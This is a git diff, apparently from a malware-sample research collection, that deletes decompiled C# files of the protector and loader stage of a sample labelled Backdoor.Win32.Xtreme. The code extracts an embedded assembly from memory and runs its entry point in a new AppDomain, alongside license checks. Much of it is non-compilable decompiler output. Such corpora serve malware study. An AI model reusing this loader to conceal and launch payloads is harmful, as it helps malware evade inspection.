= \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config); - gcHandle.Free(); - if (num2 == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) config; - } - - public virtual unsafe string GetThumbPrint(Assembly pReserved) - { - \u0081Ï ï; - if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - StringBuilder stringBuilder = new StringBuilder(); - int num = 0; - do - { - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0')); - ++num; - } - while (num < 20); - return stringBuilder.ToString(); - } - - public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved) - { - uint length; - byte* numPtr; - if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - byte[] destination = new byte[(int) length]; - IntPtr num = (IntPtr) (void*) numPtr; - Marshal.Copy(num, destination, 0, (int) length); - Marshal.FreeCoTaskMem(num); - return destination; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity) - { - sbyte* usbConfig; - if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity, - IntPtr pAssemblyFile) - { - sbyte* usbConfig; - if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GetUsbConfig( - Assembly pReserved, - uint LicenseID, - ushort ActivationDuration, - ulong UsbHash, - ulong UsbIdentity, - AssemblyName Name) - { - string name = Name.Name; - byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0")); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - sbyte* usbConfig; - int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig); - gcHandle.Free(); - if (num2 == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbConfig; - } - - public virtual unsafe IntPtr GenerateLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq) - { - sbyte* license; - if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) license; - } - - public virtual unsafe IntPtr GenerateLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq, - int tolerance, - [MarshalAs(UnmanagedType.U1)] bool ignoreMinor, - long RuntimeLicensesLimit) - { - sbyte* license; - if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) license; - } - - public virtual unsafe IntPtr GenerateUsbLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq) - { - sbyte* usbLicense; - if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbLicense; - } - - public virtual unsafe IntPtr GenerateUsbLicense( - Assembly pReserved, - IntPtr pKeys, - IntPtr preq, - int tolerance, - [MarshalAs(UnmanagedType.U1)] bool ignoreMinor, - long RuntimeLicensesLimit) - { - sbyte* usbLicense; - if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return (IntPtr) (void*) usbLicense; - } - - public virtual unsafe Assembly ResolveAssembly(string Name) - { - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - try - { - AssemblyName assemblyName = new AssemblyName(Name); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - uint exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num2 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - return (Assembly) null; - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num2 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - if (num2 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num2); - } - } - byte[] bytes = Encoding.UTF8.GetBytes(Name); - GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned); - IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0); - int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer()); - if (index >= 0) - { - Assembly[] ò = this.ò; - if (index < ò.Length) - { - if ((object) ò[index] == null) - this.ò[index] = this.\u0081â(num3); - gcHandle.Free(); - return this.ò[index]; - } - } - gcHandle.Free(); - return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null; - } - - public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2); - - public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1) - { - byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - int length1 = Marshal.ReadInt32(ptr); - IntPtr source = (IntPtr) (void*) (numPtr + 4); - byte[] rawAssembly = new byte[length1]; - byte[] destination = rawAssembly; - int length2 = length1; - Marshal.Copy(source, destination, 0, length2); - Assembly embLockAssembly = Assembly.Load(rawAssembly); - Marshal.FreeCoTaskMem(ptr); - return embLockAssembly; - } - - public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1) - { - byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - string stringAnsi = Marshal.PtrToStringAnsi(ptr); - Marshal.FreeCoTaskMem(ptr); - Assembly lockAssemblyName = (Assembly) null; - try - { - lockAssemblyName = Assembly.Load(stringAnsi); - } - catch (Exception ex) - { - } - return lockAssemblyName; - } - - public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1) - { - byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer()); - if ((IntPtr) ptr1 == IntPtr.Zero) - return (ArrayList) null; - IntPtr ptr2 = (IntPtr) (void*) ptr1; - ArrayList assemblyServices = new ArrayList(); - if (*ptr1 != (byte) 0) - { - do - { - string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1); - assemblyServices.Add((object) stringAnsi); - ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1); - } - while (*ptr1 != (byte) 0); - } - Marshal.FreeCoTaskMem(ptr2); - return assemblyServices; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString) - { - int num; - if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - public virtual unsafe bool IsDemo(Assembly pReserved) - { - int num; - if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0) - throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - return num != 0; - } - - public virtual unsafe int DaysLeft(Assembly pReserved) - { - int num; - return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - } - - public virtual unsafe int MinutesLeft(Assembly pReserved) - { - int num; - return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime)); - } - - public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer()); - - public virtual void UnloadAppdomain(AppDomain domain) - { - int id = domain.Id; - AppDomain.Unload(domain); - \u0082\u00BB.\u0095(id); - } - - public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø(); - - public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer()); - - public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers) - { - GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0); - IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer()); - gcHandle.Free(); - return num2; - } - - public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer()); - - public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames(); - - public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles) - { - GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned); - GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned); - GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned); - IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0); - IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0); - IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0); - \u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer()); - gcHandle1.Free(); - gcHandle2.Free(); - gcHandle3.Free(); - } - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_003CdotNetProtector_003E.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_003CdotNetProtector_003E.cs deleted file mode 100644 index 0c0de0fd..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_003CdotNetProtector_003E.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -public class \u003CdotNetProtector\u003E -{ - internal static readonly long _Reserved; -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0081é/_0081Ù.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0081é/_0081Ù.cs deleted file mode 100644 index f91e9639..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0081é/_0081Ù.cs +++ /dev/null @@ -1,281 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.Ù -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using \u0081é; -using \u0082\u00BC; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0081é -{ - [Serializable] - internal class \u0081Ù - { - private IntPtr \u0082\u00B0; - private IntPtr á; - private int Þ; - private Assembly Û; - - private unsafe Assembly \u00F7() - { - byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - int length1 = Marshal.ReadInt32(ptr); - IntPtr source = (IntPtr) (void*) (numPtr + 4); - byte[] rawAssembly = new byte[length1]; - byte[] destination = rawAssembly; - int length2 = length1; - Marshal.Copy(source, destination, 0, length2); - Assembly assembly = Assembly.Load(rawAssembly); - Marshal.FreeCoTaskMem(ptr); - return assembly; - } - - private unsafe Assembly \u0089() - { - byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer()); - if ((IntPtr) numPtr == IntPtr.Zero) - return (Assembly) null; - IntPtr ptr = (IntPtr) (void*) numPtr; - string stringAnsi = Marshal.PtrToStringAnsi(ptr); - Marshal.FreeCoTaskMem(ptr); - Assembly assembly = (Assembly) null; - try - { - assembly = Assembly.Load(stringAnsi); - } - catch (Exception ex) - { - } - return assembly; - } - - public static unsafe int \u0081Ö(Assembly _param0, int _param1) - { - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]); - int num2 = 0; - \u0081Ù ù = new \u0081Ù(); - ù.Û = _param0; - ù.\u0082\u00B0 = hinstance; - ù.Þ = _param1; - IntPtr num3 = (IntPtr) (void*) &num2; - ù.á = num3; - AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString()); - int id = domain.Id; - domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç); - CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í); - domain.DoCallBack(callBackDelegate); - try - { - AppDomain.Unload(domain); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - uint exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num4 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num4 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - goto label_10; - if (num4 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num4); - } - } -label_10: - \u0082\u00BB.ù(); - \u0082\u00BB.\u0095(id); - return num2; - } - - public unsafe void í() - { - FieldInfo fieldInfo = (FieldInfo) null; - // ISSUE: untyped stack allocation - int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ()); - Assembly entryAssembly = Assembly.GetEntryAssembly(); - uint exceptionCode; - if ((object) entryAssembly == null) - { - \u0081ê.\u0081\u0099 = this.Û; - try - { - fieldInfo = (FieldInfo) null; - AppDomain currentDomain = AppDomain.CurrentDomain; - AppDomainManager appDomainManager = currentDomain.DomainManager; - if (appDomainManager == null) - { - appDomainManager = new AppDomainManager(); - typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager); - } - typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly); - } - catch (Exception ex1) when ( - { - // ISSUE: unable to correctly present filter - exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num2 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex2) when ( - { - // ISSUE: unable to correctly present filter - num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num2 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - goto label_18; - if (num2 != 0U) - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num2); - } - } - } - else - \u0081ê.\u0081\u0099 = entryAssembly; -label_18: - Assembly assembly = (Assembly) null; - switch (this.Þ & 805306368) - { - case 536870912: - assembly = this.\u0089(); - break; - case 805306368: - assembly = this.\u00F7(); - break; - } - if ((object) assembly == null) - return; - MethodInfo entryPoint = assembly.EntryPoint; - if ((object) entryPoint == null) - return; - object[] parameters = new object[0]; - if (entryPoint.GetParameters().Length != 0) - { - string[] commandLineArgs = Environment.GetCommandLineArgs(); - string[] destinationArray = new string[commandLineArgs.Length - 1]; - int length = destinationArray.Length; - if (length != 0) - Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length); - parameters = new object[1] - { - (object) destinationArray - }; - } - object obj = entryPoint.Invoke((object) null, parameters); - if (obj == null) - return; - try - { - Marshal.WriteInt32(this.á, Convert.ToInt32(obj)); - } - catch (Exception ex3) when ( - { - // ISSUE: unable to correctly present filter - exceptionCode = (uint) Marshal.GetExceptionCode(); - if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - uint num3 = 0; - \u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1); - try - { - try - { - } - catch (Exception ex4) when ( - { - // ISSUE: unable to correctly present filter - num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers()); - if (num3 != 0U) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - } - return; - if (num3 == 0U) - return; - throw; - } - finally - { - \u0082\u00BB.ã((void*) num1, (int) num3); - } - } - } - - public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name); - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0081é/_0081Þ.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0081é/_0081Þ.cs deleted file mode 100644 index c3338f31..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0081é/_0081Þ.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.Þ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using \u0081é; -using \u0082\u00BC; -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Threading; - -namespace \u0081é -{ - [Serializable] - internal class \u0081Þ - { - private IntPtr þ; - private int \u0092; - [NonSerialized] - private AppDomain ú; - - public \u0081Þ(AppDomain domain, int domainId) - { - this.\u0092 = domainId; - this.ú = domain; - this.þ = IntPtr.Zero; - } - - public void \u0081ý() - { - if (this.ú == null) - return; - try - { - for (int index = 0; index < 10; ++index) - { - try - { - string friendlyName = this.ú.FriendlyName; - Thread.Sleep(50); - } - catch (AppDomainUnloadedException ex) - { - break; - } - } - } - finally - { - \u0082\u00BB.\u0095(this.\u0092); - } - } - - public static AppDomain \u0081\u008D() - { - MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic); - return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain; - } - - public void \u009C() - { - Marshal.GetObjectForIUnknown(this.þ); - Marshal.Release(this.þ); - this.þ = IntPtr.Zero; - new Thread(new ThreadStart(this.\u0081ý)).Start(); - } - - public void \u0081\u0084(object _param1, EventArgs _param2) - { - AppDomain appDomain = \u0081Þ.\u0081\u008D(); - if (appDomain == null) - return; - CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C); - this.þ = Marshal.GetIUnknownForObject((object) this.ú); - this.ú = (AppDomain) null; - appDomain.DoCallBack(callBackDelegate); - } - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0081é/_0081ê.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0081é/_0081ê.cs deleted file mode 100644 index f11498db..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0081é/_0081ê.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.ê -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using System.Reflection; - -namespace \u0081é -{ - internal class \u0081ê - { - internal static Assembly \u0081\u0099 = (Assembly) null; - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/1_0081î.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/1_0081î.cs deleted file mode 100644 index 4fa07bfb..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/1_0081î.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.î -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct \u0081î - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/1Ä.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/1Ä.cs deleted file mode 100644 index 4cf248c1..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/1Ä.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ä -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 28)] - internal struct Ä - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081$.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081$.cs deleted file mode 100644 index 503cb6a3..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081$.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.$ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: 